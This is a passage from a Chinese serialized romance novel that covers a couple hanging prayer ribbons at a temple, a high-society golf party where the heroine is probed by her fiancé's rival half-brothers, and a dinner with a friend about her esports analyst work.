她的位置在后排角落,窗户朝向是背阳处,时间仿佛停滞,感受不到外界变化,祝陶浮专注地审视当下。
中途姜宛有来过一次,悄声与她交流,再次表达歉意,以及晚上与她同归,请她吃饭赔不是的打算,祝陶浮委婉拒绝。
向来是被人宠爱着长大,习惯受人夸赞,只要她主动示好,势必会收到同等或者超过的尊重,而非像祝陶浮,淡漠如一。
姜宛笑容一凝,维持着体面,同她告别。
抄经文时需要保持安静,因此她声音压得很低,同她告别。
“那就过几天庄园聚会见了,祝小姐。”
等到祝陶浮抄写完毕,交给僧人,夕阳已然挂在蔚蓝天空。
“阿弥陀佛。”恭敬地朝僧人拜谢,祝陶浮独自离开藏经阁。
夕阳西下,钟磬声声,三三两两的人群行走在寺院内,往大门口处悠然晚归。
飞鸟掠过天际,锦鲤在石桥下的池塘里悠闲游动,晚风轻拂树梢落下婆娑暗影,亦卷起成百上千、点缀绿叶间的鲜红祈福带。
脚步一顿,祝陶浮想了想,询问义工在哪里可以填写。
“禅寺里现在提供祈福带和同心牌两种,女士您看是都需要,还是选一种。”义工拿出两类物件,供她挑选。
祈福红绸可以写单人或者全家,同心牌是心形木牌的形状,顾名思义名字将会列在一处。
思索片刻,祝陶浮道:“我就只请祈福带……”
“劳烦还请同心牌。”
沉哑凛冽的声线落于耳侧,视线里出现一只冷白修长的手掌,从饰物架上取下同心牌。
讶异抬眸,望向身侧的不速之客。
对方却正低头,接过义工手里的黑笔,正准备在木牌上书写。
“诶,等等。”
来不及细问他前来的缘由,祝陶浮赶紧握住他拿笔的手,指尖能感受到他分明的骨节,和手背隆起的青筋脉络。
“同心牌是要两人的名字写一起的。”她看着对方,认真解释。
漆灰眼眸低垂,目光凝视着她秾丽眉眼。
“我知道。”梁以盏平静说。
“那你还……”祝陶浮。
“祈福而已,又不是见家长。”懒散地掀起眼尾,梁以盏淡然陈述。
这是在点自己,上次给亡人烧纸,祝陶浮不让他的元宝放在自己纸袋,虽然最后还是让他混了几个进去。
“还是说,你认为在一起的前提是,和我有证。”忽然俯身靠近,梁以盏灰眸,散漫地看进她眼底。
关于祈福的说法,有的说可以代替他人,帮忙向神明传达。
有的则不太同意,替他人上香请愿,是会承担他人的因果,那报应反噬也会同样地落在自己身上。
在高考前夕,返回出租屋的途中,路过道路旁的迦奉禅寺。
人流量较多,熙熙攘攘基本都是家长带着孩子,前来请购一些保佑考试顺利通过的物件,诸如香囊、挂饰。
六月暑气蒸腾,香火缭绕旺盛,天空中香灰随风倒流向上,飘荡着信众们虔诚祈愿。
祝陶浮停驻脚步,观看了一会儿,还是走进禅寺,写下祈愿飘带。
“您好,我请购两张祈愿飘带。”走进法物流通处,祝陶浮指了指义工身后的木架。
“10元一份,可以写与你有关的人名字,一张就够了。”义工听到她说要两个,善意提醒道。
祝陶浮笑了笑,说:“不用了,还是分开,谢谢。”
价格最便宜的轻飘飘物件,祝陶浮依然郑重地写下她的名字,另一张写下“梁以盏”。
在悬挂的时候,她想了想,没有将两人系在一起。
而是分别挂在树梢与末端,是同一根枝干,但不在同一个地方,遥遥相望。
如今九月,远离市区繁华地段,在迦奉禅寺的远郊分院,天高云淡、风轻气爽,夕阳下散落着暑热末尾,祝陶浮又一次写下祈福飘带。
只不过这回,本人到场。
面对梁以盏似笑非笑,抛掷过来的提问,祝陶浮一时语塞,当即否认。
“……没有。”
“但是,两人名字写在一起,
总归还是要有关联。”末了,她补充阐释。
没什么所谓地嗯了声,梁以盏掀起眼睫,薄唇翕动,嗓音磁性低沉。
“未婚妻。”
闻言,祝陶浮抬头,对上他沉灰色眼眸,稍作愣怔。
很少听到他这么称呼自己,或者说,几乎没有。
相较于祝陶浮站在原地犹豫不定,梁以盏眼尾微勾,淡然道。
“这样,可以了吗?”
一旁的义工见状,笑眯眯地劝解。
“我们这里也有挺多情侣将名字写在一起,既然二位是订婚关系,自然是理所应当。”
不置可否,梁以盏转身,没有在此问题上多作评论。
收回凝视着她的目光,他继续低下头,在同心牌上,写下两人的姓名。
摸不清他的想法,祝陶浮依旧坚持,自顾自地在祈福带上,分别记载。
两人几乎同时停笔,梁以盏的字迹龙飞凤舞的飘逸,祝陶浮则是清秀隽永。
义工笑了笑,伸手指向前方:“二位前往大殿后的地方,悬挂即可,屋檐、木架和树梢,随意挑选。”
说完,他双手合十:“阿弥陀佛。”
微微躬身,祝陶浮手握两条祈福带,回以同样的合十礼:“阿弥陀佛。”
令她意外的是,梁以盏竟然也稍稍欠身,指尖挑着木牌绳索,与她同行合十道谢。
姿态依旧是慵懒散漫,身高腿长摆弄起动作行云流水,却能感觉到收敛了几分不羁肆意。
跨过门槛,一边走下台阶前往祈福地点,一边悄然侧眸,她询问身侧之人。
“你不是……从来不信这些吗。”
往近了回忆,中元节两人在清心观折叠纸元宝,树影婆娑间的对话,祝陶浮记得当时他低垂眼睑,情绪淡漠,答案是“不信”。
再往前递推,时光倒转六年,高中时期的农历七月十五,是暑期的八月,而非今年日期特殊延迟到九月。
格兰佩的高三班上几乎没什么学生,零星一二十来人是为了混学历做准备。
她初来乍到,身份低微,容貌又是与之相反的艳丽,自然少不得被班上同学使坏刁难。
斗不过他们,祝陶浮选择绕道而行,敬而远之。
晚上宿舍回不去,双人寝的室友带头与别的女生捉弄她为乐,所以只能白天抽空错开时间去洗漱换衣。
教室有保安巡逻视察,因为前段时间有别的年纪男男女女,在教室里闹出不雅动静,学校因此格外加强晚间对教室的搜查管理。
于是祝陶浮思考,晚上是去便利店还是网吧,凑合一晚,总归不能在室外游荡。
临走前,发现教室角落里,难得来学校一趟的那位,竟然还趴在课桌上睡觉。
窗外雷声轰鸣,雨水顺着没有关闭严实的窗户,飘散丝丝缕缕的雾气进入室内。
他坐在窗边,趴在课桌上,身子大半边氤氲染湿,似乎对外界无知无觉。
略加思索,祝陶浮走过去,尽量将动作放得很轻,把玻璃窗的缝隙,慢慢合上。
就在她关闭窗户的一瞬间,课桌后的少年,幽幽抬头,漆灰眼瞳,恍若无机质般,朝她看了过来。
轰隆隆。
闪电划破天际,又一声雷响,在过曝的光线下,带有睡痕的泛红眼尾,不仅没有给这张清冷苍白的面容,添加几分生动,反而有种凄厉诡艳,令人无端感到森冷寒意。
方才雨水飘落他都无知无觉,怎么自己就轻轻地关了一下窗户,没有任何声响,他反而惊醒了……
心里暗自懊恼倒霉,顶着他意味不明的冷暗灰眸,祝陶浮还是讷讷开口。
出于幼时在道观的经历,她没话找话地来了一句。
“……今天中元节,还是早点回家,不要在外做孤魂野鬼。”
对此,梁以盏的灰眸无波无澜,一瞬不错地看着她,冷冷地判出“迷信”二字。
却又丢过来一个,涂抹伤痕的膏药,症状正解她脖颈红痕。
第36章 兄妹
对于鬼神之说, 由于高中经历,祝陶浮知晓,梁以盏自始至终都是持否定态度。
刚才见他也朝着义工浅淡回礼, 她颇为意外。
男人臂弯里挂着外套西装,应该是才开完什么会过来。
与她同色黑衬衣勾勒颀长清冷的身段, 虽是傍晚如同过往的每一次深夜,接她下班时一样, 不疾不徐,闲懒随意。
对于这个问题,梁以盏似是笑了一下, 晚风里笑意很淡。
“跟你学的。”
知他是玩笑话,祝陶浮怔了怔,还是犹疑着说。
“佛祖面前,不要妄言。”
然而这次, 她清晰听到,梁以盏散在风里的低笑声。
他偏过头, 眼睑垂睨, 鎏金夕阳熔于暗灰瞳眸,像是溅落深渊里一点微弱渺茫的孤火。
“你对神佛之心,苍天可鉴。”声线是一贯的慵懒散漫,梁以盏平静叙述。
“我也是。”
有一搭没一搭地闲聊,不远不近的距离, 很快到头。
许愿林里,数千条红绸与木牌在晚风里轻轻摇动,飘荡着人们最美好的祝愿。
正在思索,到底将祈福带挂在何处,修长分明的手指已然将飘带从她掌心接过。
指尖划过她柔软掌心, 一瞬而逝,梁以盏很快地将写有她名字的红丝带悬挂在树梢。
将近一米九的身高,能够轻松精准地挑到一个好位置,不像祝陶浮对应一米六八的空间,得在密密麻麻的红束里寻得一丝夹缝。
接着,他将自己的祈福带系在祝陶浮上面。
“诶,你别……”思及此,她赶紧叫停。
然而自己身高不够,企图阻拦。
梁以盏已经悬系结束,还将自己长长的红带又绕了一圈,将祝陶浮的祈福带牢牢包裹,打了个死结。
最后,把同心牌拴在两人系在一起的祈福带上,冷白修长的手指在红绸间穿梭翻飞。
那双搅弄商界风云的清寂骨节,此刻却静默而专注地与凡俗无二,烙刻下一个稍显笨拙的温热红结。
红与白的鲜明对比,映照进他凛冽灰眸,凝成极具反差却又无声无息的虔诚祝祷。
刚刚抬起想要阻止他的手指,祝陶浮缓慢地收了回来,垂在身侧,与他一起静静注视着翻飞的红绸——
周末,庄园聚会如期而至。
应酬性质的聚会,祝峥自然不会再开那辆破手动挡,派司机过来开了家里一辆轿车,接祝陶浮一同前往。
以往还需要绕路遮掩,最近祝峥知晓自己在QSG俱乐部当分析师,索性祝陶浮借此理由,阐明住在小洋房的原因。
“行吧,梁以盏要知道了估计得气死,你为了省这几千块,而蹭住几千万的别墅。”
“哦不对,本来就是你的。”
对于他这便宜妹妹的脑回路,祝峥着实无话可说。
然而梁以盏其实知情,也没被气死,所以祝陶浮觉得祝峥才是不可理喻,房子放着没用也是浪费,现在是物尽其用。
私人聚会在一处度假区,会员制的高尔夫庄园。
车辆向前行驶,道路两边的花海向后倒流,阳光下时间仿佛按下暂停键,金色光束倾洒在山峦湖泊,风景如画宁静美好。
昨晚应酬过后,祝峥宿醉的大脑,混沌隐隐作痛,他只想放空神思,欣赏窗外美景。
这处庄园依山傍水风景优美,车辆停泊在出发台以后,由统一制服的球童,开着摆渡车接引至高尔夫球场。
一望无际的草坪绿荫,人工湖泊波光粼粼,祝峥带祝陶浮赶到的时候,其他宾客已经站在球场跃跃欲试,有老有少,少爷名媛们谈笑风生,好不热闹。
人群之中,一名年轻女士佩戴白手套握着球杆,稍微斜倚身子,蓄势待发。
祝陶浮认出来,这是前几天在禅寺碰见的姜宛。
相较于青灯古佛前沉静长衫,此时的她马尾高束,空顶帽下清新秀丽,骨子里江南的柔和温婉,在球场展颜一笑,显得生动活泼。
剪裁精良的球服勾勒身材曲线,及膝
百褶裙裤随着她挥动球杆,裙摆旋开柔美轻盈。
与此同时,啪地一声,球杆与球撞击,白球在空中划出一道高亢的抛物线,精准飞往果岭旗杆所插之处,落在洞口边缘。
人群里传来鼓掌欢呼,无不赞叹姜宛人美球技佳。
“唉,你说你怎么就不能长成,姜家小姐的模样呢。”球童从车上取拿高尔夫球包,等闲空隙,祝峥跟着人群叹气,不过感叹对象从姜宛变成祝陶浮。
“你看看你穿的,今天前往的名媛小姐,哪个不是高马尾、百褶裙,多么彰显年轻活力,你倒好,明明在场年纪最小,反倒遮掩自己优势,长袖长裤的都是些什么,老气横秋。”祝峥看到她这身打扮,连连摇头。
从更衣室出来,祝峥一路上就不太满意,唠叨她不穿修身露腿的少女装扮,修身球服外搭宽松的防晒衣加长裤,将她纤瘦白皙的胳膊长腿包裹得严严实实。
其实祝陶浮靠脸扛住了这保守的一身衣服,她不会也不打高尔夫,头发象征性地松松扎着,明艳眉眼透露着慵懒随意。
但祝峥觉得明明可以更漂亮,祝陶浮明白,他的想法除了以梁以盏的名头结交,俗话靠山山倒,还想顺便倒卖自己预定下一个靠山。
“就算成不了她标准的淑女形象,你学学我,多思考思考,那也行啊。”
商人本质,淋漓尽致。
绿茵果岭由俱乐部精心打理,清风拂过是清新湿润的干净气息。
面对他毫不掩饰的利用盘算,祝陶浮没有丝毫害怕,甚至还轻轻地笑了一下。
下颌微点,她示意祝峥看向人群,饶有兴致地同他开起玩笑。
“知道为什么,姜宛如此优秀吗,你看看,人家的哥哥是什么样。”
顺着她的视线,祝峥望向人群里的焦点。
尽管姜宛已经将挥打得相当精准,小球未能进洞可撞上了标志旗杆,可她对自己并不满意。
周围的男女老少连连安慰称赞,她撇撇嘴,摇着身旁男人的胳膊,委屈撒娇。
他身旁的男人算不上多么英俊,人靠衣装地衬托,奢贵服装加持下任谁的气质都会增添几分,polo衫与皮质腕表,彰显出精英阶层的自信矜傲。
仔细瞧看,会发现他的五官与姜宛有些相似。
安抚性拍了拍姜宛手背,他宠溺笑笑。
“小妹没有发挥出全部实力,是替我精打细算,免得破费吧。”
高尔夫有个不成文的规定,一杆进洞要给在场的人分发红包,从球童到宾客,无一遗漏,算下来几十万打底。
“哥哥,才不是呢,就是我没打好。”秀眉微蹙,清风吹起发丝拂过面容,小家碧玉楚楚动人。
姜远铭温柔微笑,随即偏头,对随从吩咐。
“好了,小妹开心就好,没有一杆进洞,但依然需要好彩头。”
说着,依旧给在场的来客礼物,给球童红包。
眨了眨眼,祝陶浮看向祝峥。
“别人家哥哥。”
用以回怼,祝峥的别人家妹妹。
祝峥:……
“小浮,你来了。”注意到祝家两兄妹靠近,姜宛眉眼间的阴云一扫而尽,微笑着冲她招了招手。
若不是祝陶浮心里清楚,自己和她只是一面之缘,外人瞧见,以为两人多为熟稔。
其他的观点,祝陶浮不敢苟同,有一点祝峥说对了:
姜宛的确是豪门圈内的女子标杆,举手投足间完美得滴水不漏。
闻言,众人纷纷转头,看向来者。
这其中有些人在七月的聚餐见过她,有的没有。
无论见与不见,在看到她的时候,都会微微晃神,由衷地感到惊艳。
豪门圈里俱是人精,惊艳过后,是谨慎地同向来没有抛头露面的祝陶浮,礼貌打招呼。
“祝小姐,您好。”
“也太漂亮了吧,真是好看。”
“祝家真会养人,跟祝公子不愧是兄妹,模样都是一顶一的好。”
……
众人交流见均是客套表面话语,但也是实话实说,祝峥和祝陶浮同父异母,模样不甚相同,却是一样的漂亮养眼。
如果细细研究,祝陶浮当然是更为优势,容貌艳盛。
大家留意到的事情,姜宛自然发现。
对于其余内在的东西需要慢慢察看,外在容颜的冲击是第一时间,也是最为直观。
方才轻松搭在自己臂弯的手指,蓦然收紧,美甲甚至不小心掐住自己的皮肉,姜远铭看了一眼姜宛,若有所思。
依然保持笑容,笑意未达眼底,暗示她不要乱了分寸。
“你刚刚怎么了。”
姜远铭来到姜宛的伞下,她低头搅弄鸡尾酒杯里的冰块,有些心不在焉。
今日天公作美,午后阳光闲适惬意,不是特别暴晒炎热,大部分人在草坪上握杆挥舞、言笑晏晏,一部分则在宽大的遮阳伞下,休憩闲聊。
唯独有一人独处,仿佛周遭的应酬交流与她无关。
然而她的一举一动,实则被众人有意无意地默默关注。
“没有。”
姜宛矢口否认。
露天茶歇区由低矮花丛分隔,透过稀疏花影,姜远铭瞥了一眼,几个座位以后的清冷身影。
“她也就剩副皮囊值得一瞧,不值得你走神。”
手指轻敲桌面,令姜宛不得不抬头回应。
“……我说了,我跟你一样,只是觉得,她好看得有些过分而已。”她再次解释。
不置可否,姜远铭轻飘飘道:“怎么,前几天在寺庙还没看够。”
姜宛再次沉默,耍起小性子不理人,手撑着下颌看向远方果岭。
她拒绝交流,姜远铭也不强求,交叠的长腿放下,拍了拍裤边褶皱,站起身:“希望你刚刚的失态,的确如你所言。”——
作者有话说:今天收到了新春祝福墙的站短,很感谢4个小天使送出来的祝福,感动( ` )比心!有1个小天使在评论区看到过,还有3个没有看到过。如果你们3个宝宝发现这条消息,就在评论区留个言;如果不愿意也没事,祝你们在我看不到的地方,能够生活得快乐幸福,一切顺利。然后这篇文其实写得挺乱,平时很忙写得很赶,也是好久没写了。也再次感谢一直以来还在看文的宝宝们,祝你们天天开心,事事顺心 づ╭~
第37章 破坏欲
众人心思各异, 祝峥来到遮阳伞下,脸色瞬间由晴转阴。
“你把甜品全吃完了???”
祝陶浮不喝酒,她的桌上侍者安排的甜点, 鸟笼式样的下午茶,三层瓷盘装盛, 从下往上,咸甜两种口味。
底层咸口的三文鱼、蟹肉、三明治, 甜口往上果酱司康,以及顶层的马卡、慕斯、奶油挞……
再配以解腻的红茶,和辅料鱼子酱。
鱼子酱是里面价格最高, 但她不爱吃,一整罐放在旁边。
其余在祝峥看来没有价值的咸甜碳水,她反而吃得一干二净,瓷盘里残留着蛋糕边角渣沫。
面对外人, 祝峥向来是四平八稳、游刃有余,唯独对着祝陶浮, 他的火气总是抑制不住地一惊一乍。
已经习惯他情绪的不稳定, 祝陶浮浑不在意道:“你可以声音再大一点,你不想让大家知道,刚好就都能听见了。”
有气撒不出,祝峥:……
继续让她这样吃下去,着实丢人现眼, 祝峥把人赶走,美其名曰让她“散步消食”。
不懂也不会高尔夫,祝陶浮施施然站起来,离开球场区域,让侍者带她回房休息。
庄园功能分区齐全, 侍者指引她穿过一楼大堂,准备前往另一栋酒店式别墅。
琴声优雅缓缓流淌,丝绒地毯吞没噪音,渐渐地,她跟随侍者来到走廊拐角。
理论上穿过厅堂方可抵达住宿区域,然而尽头处的厚重木门缓缓打开,浓烈馥郁的香烟气味瞬间从包厢里漫袭过来。
透过半开的古雅大门,可以瞧见这一带是雪茄区。
里面的侍者穿着与带领祝陶浮的同一制服不一样,是勾勒身材的定制裙装,她们正笑意盈盈呈着托盘,为男人们剪茄点火。
酒杯碰撞,烟雾缭绕,祝陶浮注意到他们当中的熟悉面孔。
她看了一眼停止脚步的侍者,对方全然没有刚刚正视她的标准微笑,而是低下头没有与自己对视。
心下了然,祝陶浮打算转身离开。
一道低哑男声,叫住了她。
“哟,这位美女不是老熟人吗,快进来坐坐。”
随之而来的,是另一声戏谑称呼。
“哎呀哥,什么熟人啊,分明是家人。”
“是吧,弟妹。”末尾两字,对方有意无意,咬字很重,拖长尾音——
梁氏集团董事办,梁董在会议室听取海外项目进展,其余人员一切工作照旧,井然有序开展。
助理办公室,特助下楼去对接项目,进行会议纪要,魏敏身为新来的助理,坐在工位上整理资料。
高空的阳光宁静和谐,但若沉溺其中,想往前进一步,则会踏空于虚无缥缈的云层之中。
眼睛盯着电脑屏幕,貌似在核对行程安排,心里却早已飘到千里之外。
精致妆容之下,掩饰不住的冷汗,隐隐浸出发丝。
当初是因为能够进入梁氏、而庆祝找了份好工作所做的美甲,后来长时间没有去保养,已经要掉不掉。
在她紧张地有些神经质反复抠弄,指甲快要秃噜皮。
想了想,她用钥匙打开抽屉,翻找出藏在补妆杂物用品之下的一张名片。
指尖捏着名片,她看似是往洗手间的方向走去,实际推开旁边沉重门阀,走进消防通道。
在确定楼梯间空无一人,她犹豫良久,还是解锁手机屏幕,首先给梁以盏发消息。
特别紧急的消息,秘书会提醒待办。
他本人或者秘书工作联系方式,均未回复。
没有泄气,借着楼道灯光,她仔细摁下名片上的号码。
这次对方响了几声,通话接通。
“今儿是哪阵风,把你吹来了。”电话那端,传来公子哥惯常的戏谑语气。
“小助理,找我有何贵干。”
也不同他兜圈子,魏敏直入主题、言简意赅。
“裴少爷,我打梁董的电话打不通,所以来打扰您。”她说。
若有所思地哦了声,裴瑄稍稍收敛吊儿郎当。
“今天祝小姐参加的高尔夫聚会,梁靖明和梁煜也去了。”魏敏。
方才尚饶有兴致地闲聊,倏地电话那头冷寂下去,沉默了几秒钟。
慌乱地咽了一下,她听见裴瑄的声音,是预料之外的平静。
“有意思。”相较于她的担忧,裴瑄则显得从容不迫,甚至还轻轻低笑了一声。
“怎么,魏小姐这是演的哪一出啊?”
以前魏敏觉得裴瑄或许是个虽纨绔、但还算平易近人的二代,现在他懒洋洋地反问,语气里是不加掩饰的冷漠,她才惊觉,好说话的和颜悦色,不过是包装的假象。
滴水不漏,将问题重新抛给她。
繁华之下,是数不尽也看不明白的重重危机。
当初魏敏觉得,尽管自己学历尚可,放在偌大梁氏平平无奇,自己一个刚毕业的学生,就能来到董事办工作,是莫大的幸运。
却原来不是老天眷顾的幸运,而是被人精心挑中的工具罢了。
有用最好,没用大不了玩坏了扔进垃圾桶。
她不想被当做垃圾,她也不想再当可有可无的工具。
但她有自知之明,没有本事和头脑在复杂的利益旋涡中斗争,所以面对裴瑄的提问,她将思考良久的答案,艰难地说了出来。
“裴少爷,您也知道,我演技拙劣,人情这方面并不擅长。”言尽于此,她苦笑了一下。
“您信也好,不信也罢,可我总得表明我的态度。”很快地收拾好心情,魏敏诚恳地说。
“我只想事成之后,能够全身而退,安全地离开洲安。”
自认为是情真意切,袒露自己最本真的想法,但这并未打动裴瑄分毫。
对方没有一丝同情的意味,反倒笑意更深,像是在听一个无关紧要的故事。
“原来你就是这么跟你上司汇报工作的,你可没有第一时间站出来啊,魏小姐。”
裴瑄笑了笑,言辞间是与温和笑意,截然相反的冷漠刻薄。
“实话告诉你,这消息我们早就知道了,你现在才端上来,黄花菜都凉了。”
如同沾了蜜的刀尖,划得人心口钝痛,他毫不在意。
“所以呢,我们并不需要你,为什么要保下你。”
悄悄地深吸一口气,魏敏尽量克制住情绪,有条有理地客观陈述。
“是……的确是我的问题,纠结太久,没能立刻跟你们坦白。”
“但我不像你们,都是有权有势有背景的人物,我就一普通人,在夹缝里生存很难了,所以会恐惧会害怕,这是正常的犹豫时间。”说到这里,魏敏有些心酸,眼泪就要掉下来。
可电话那头的男人,没有丝毫触动,语调平淡地一如既往。
“没什么事的话,我就挂了。”
“……等等。”来不及伤春悲秋,魏敏赶紧叫住他。
“我是想说,肯定有用的,我对你们!”她咬了咬唇,话语有些颠倒,尽量表达对用意。
听是听懂了,裴瑄没怎么松口,依然漠不关心。
“你既然一开始投奔了梁靖明兄弟两,就没想到今天,会选择对立面?”
“……谁都有昏头的时候,我也不知道会是这样。”
一直哭哭啼啼,像是没什么主意,这会儿魏敏,倒说了句关键词。
“但我就是觉得,梁董最后会赢的。”
“所以我当然,要选胜利的一方。”——
郊区庄园雪茄室,祝陶浮坐在沙发上,面无表情。
梁靖明和梁煜,在美女侍者的服务下,吞云吐雾,祝陶浮则止不住地呛咳。
她是真的闻不得烟味儿,但落在他们两眼里,觉得祝陶浮多少不给面子。
至于这甩脸色,是祝陶浮的意思,还是梁以盏的指示,或者两人都有,就值得细细深思。
不过表面上,他们还是要应和祝陶浮,毕竟是他们把人叫进来的。
他们皮笑肉不笑,摆了摆手示意侍者下去。
梁靖明端起酒杯,缓慢地啜饮一口。
“唐突弟妹了,没想到闻不得烟味儿。”嘴上说着抱歉,他眼底分明没有半分歉意,倒是满满的试探。
“但是,三弟跟我们在一起是会抽烟的,那你们怎么相处呢。”
状似不经意地提问,实则祝陶浮怎么回答,都不是特别应景。
两人不怎么在家,或者,梁以盏没怎么抽烟,都能让对面揣摩颇多。
因此,祝陶浮面色平静,淡淡回应:“我不介意。”
看似表明态度,实则到底在不介意什么,有效信息几乎为零。
梁煜笑了一下,摇晃酒杯,眼神如毒蛇般缠绕着对面,像要逼寻出些什么。
“不愧是三弟挑的人,倒是有趣。”
放其他人身上,理应顺着此言,往下接话。
然而祝陶浮跟个冰雕似的,坐在那里一言不发。
生动形象诠释,什么是冰美人。
原以为这个半路回祝家的私生女,会是柔弱的、无措的,或是有野心的、妄图攀附往上爬的。
无论是哪一种,只要有弱点,就能拿捏制衡。
但一定不会是眼前人无波无澜、无欲无求。
梁靖明和梁煜,互相隔空对视一眼,看出了彼此目光里流露的些许疑惑。
凝结成冰是吗,那他们就偏要将冰敲碎。
秾丽瓷釉般的眉眼,偏骨子里压着清冷柔韧,反差之下,很容易勾引出人的劣根性——破坏欲。
事成以后,若是能收为己有,非得调教一番,磨磨性子。
一唱一和,梁靖明看向祝陶浮,意有所指。
“若是三弟不懂得怜香惜玉,那何不择良木而栖?”
第38章 不自由
自始至终, 祝陶浮神情冷淡,是与她无关的毫不在意。
知晓梁以盏那边态度模棱两可,怎么祝陶浮跟复制粘贴似的, 同样的模糊处理。
冷心冷情,这一点
, 莫名重合在了一起。
要么是他们商量好的对策,要么是他们真的不在意。
根据过往诸般, 梁靖明和梁煜,目前判断,后者可能性更大。
或许, 真的只是,玩玩而已。
恰巧祝峥进来,托辞带走祝陶浮,更印证了猜测。
当事人没放在心上, 利益相关的祝家,可是坐不住了。
“多谢两位少爷照顾, 小妹刚还嚷嚷着要喝的芭乐草莓, 餐厅鲜榨才好,快回来喝吧,气温高免得放坏了。”
重新回到露天遮阳伞下,仿佛刚刚密闭厚重的室内谈话,如梦一场。
祝陶浮微眯着眼, 看向祝峥。
“你说的果汁呢,怎么是白开水。”
气不打一出来,祝峥冷冷道:“没把你渴死,是我最大的仁慈,还嫌我这那的, 从哪里找我这么好的哥哥。”
不想跟他拌嘴,祝陶浮默默端起玻璃杯,喝起普普通通的凉水。
“以及,你胆子也太大了,下次独自面对他们两,好歹吱个声啊!知不知道我多担心!”
祝峥独自焦虑,祝陶浮平静喝水。
“不是梁以盏让人告诉我,我根本不知道。”
手指微顿,她放下玻璃杯,语气散漫如同闲聊,根本没觉得方才有多危险。
“是吗,那你要是不知道呢。”
“哦,反正梁以盏说有办法,只是那声大舅哥喊得,我就没多问了。”他厚着脸皮,轻咳两声邀功。
祝陶浮笑了一下,看向因为外人在、只能忍住发火的祝峥,幽幽说道。
“那不就得了,有你没你,都没差。”
“放……算了不骂人,这家没我,迟早得散。”祝峥长长叹气,捂住额头。
球童见状,以为他是晒了一下午不舒服,赶紧过来递上冰袋。
祝陶浮帮忙接过去,贴心地敷在他额头上,语气调侃。
“嗯嗯,辛苦了,爱情保安。”
返回途中,祝峥仍然叨叨,祝陶浮独自面对梁靖明和梁煜,也颇为大胆了些。
“行了,又不是什么洪水猛兽,怕什么。”
晚风清爽,祝陶浮将窗户开了些许缝隙来稍微透气。
夕阳西下,倾泻最后一缕天光,烟霞铺开在缓慢起伏的低矮山脊,温柔覆盖上薄粉纱幔,沿途的花草似沉睡在宁静和谐的氛围里。
偶有飞鸟掠过,才堪堪惊醒。
“是,的确在俱乐部里,他们不会把你怎么样。”祝峥躺靠在座椅,心累地揉了揉眉心。
“但万一试探出些什么,你觉得你能好过。”
回应他的,是沉默。
以为祝陶浮是在思索,所以晾了他半天没有动静。
祝峥觉得孺子还是可教,遂拨弄手机处理消息。
然而等了好一阵子,没有等来任何声音。
转头望过去,发现不知道什么时候,祝陶浮早已闭上眼睛,陷入沉睡状态。
她自己无知无觉,脑袋一点一点,就快要撞上车窗玻璃。
撞死得了,祝峥决定气死路上拉个垫背的。
就在额头要碰到坚硬车窗的那一刻,他还是伸手,拽住她衣摆。
算了,我只是看在她那漂亮的脸,还有用处,祝峥冷漠地想。
被他这猛地一拽,祝陶浮陡然间脱离梦境。
“……什么情况?”眼珠转了两下,她困倦地睁开眼,怏怏地打了个哈欠。
祝峥冷冷道:“朽木不可雕也。”
不甚在意地哦了声,祝陶浮稍稍坐起身,懒洋洋地开口。
“那就不雕了,我准备回去了。”
搞不清楚她又在说哪门子梦话,祝峥觉得自己跟她一说话就来气。
“什么回去,你还做梦呢,现在我们不就在回去……”
“我是说,我要回栖梧了。”祝陶浮。
“知道,研三忙论文。”当她是临时回去忙学业,祝峥没有过多干涉。
“下个月中秋记得回来,梁家举行团圆晚宴,到时候我和祝家人也会去。”话音一转,他嘲讽地笑了一下。
“死的死,伤的伤,才开始顾念团聚。”
死的死是指昔日梁氏集团掌权人、梁以盏的生父,成了植物人,半死不活地躺在病床上,和死了也没差。
伤则是梁靖明和梁煜之前气焰嚣张,外界皆传梁氏以后会落入他两之手,然而半途杀出个梁以盏,刹那间销声匿迹。
虽然他们仍然在梁氏占有一席之地,但去管理传媒分线,和架空权力养老没什么分别。
现在唯有梁以盏一家独大,梁老爷子反而唱起了团圆戏码,可真是够讽刺的,祝峥冷眼旁观。
似乎不止他一人是持旁观的态度,名义上未婚妻,祝陶浮对他这话,一如既往,情绪没有一丝波动——
“哎,一转眼要到十月,你就准备回去了。”
洲安城的一家日料店,许若歆说什么都要请祝陶浮吃饭,之前全是后者买单。
但是散伙饭,许若歆提不起来什么劲,心思不在美食上,委屈巴巴地看着祝陶浮。
“没事,我下个月还会再来的。”搅弄着冰淇淋土豆泥,祝陶浮安慰她。
“啊,真的吗,为什么又来呀!”方才耷拉着眼尾,一瞬间变得亮晶晶,许若歆期待地看着她。
大致讲述来龙去脉,下个月世界赛,尽管举办地在国外,国内的陪练战队需要开始筛选人员。
其中祝陶浮作为辅助的分析师,可以远程进行bp模拟建议,可到底还是得参加碰头开会,总不能一直神龙不见尾。
“等等。”听出一二端倪,许若歆皱了皱眉。
“影子计划,这名字我觉得就不好。”
影子,顾名思义,是照应,是陪衬,是见不得光。
“不会……你还是跟在QSG一样,不被看见吧?”许若歆反问。
“……又白打工啊。”叹了声气,她忧愁地把碗里温泉蛋,戳了个稀巴烂。
“给钱的,还包来回车票,不算干苦力。”祝陶浮想得很开,不觉得有什么难堪。
摇了摇头,许若歆道:“要是好事,之前在国内举办世界赛,主场陪练团,都是官方插手下场,才让一些厉害的选手加入。”
“嗯……说的是,等到比赛结束,就会公布名单的。”
补充说辞,本想让许若歆安心,结果起了反作用,许若歆更不赞同了。
“那都十一月了,比赛结束公开,有什么用。”
“打得好,是选手厉害,打得不好,是陪练团菜。”许若歆很是无奈,苦中作乐地哈哈两声。
“当这个陪练团分析师,你还不如自己亲自上场,去扬名立万!”
祝陶浮也笑了,缓和气氛地开玩笑:“好啊,燃起来了。”
无论什么样的困局,从大学到工作,两人都是在嘻嘻哈哈里,默契缓解。
生活中不是所有困难都要消灭,任它放在那里笑看,也是另一种解决的答案。
“话说回来,小桃桃你看着挺乖乖女的,你家里人允许干这一行吗?”她问。
“还好,他们理解。”回答得很平静,祝陶浮没有过多解释,许若歆以为是她的父母还有兄长支持。
“行吧,他们不反对就好,电竞在传统家长的心里,仍然是不务正业的行业。”
“而且,你好像就喜欢看,不是特别爱玩?”
记忆里,在本科宿舍,祝陶浮看得多,玩得少,许若歆如是提问。
祝陶浮笑笑,解释道:“嗯……小时候的习惯吧,写完作业写累了,自己不想玩,就看师兄师姐玩游戏。”
“师兄师姐?”许若歆慢慢重复了一遍称呼,颇为好奇。
“你是说学长学姐吗。”
“不是,是我老家附近道观的同门。”祝陶浮。
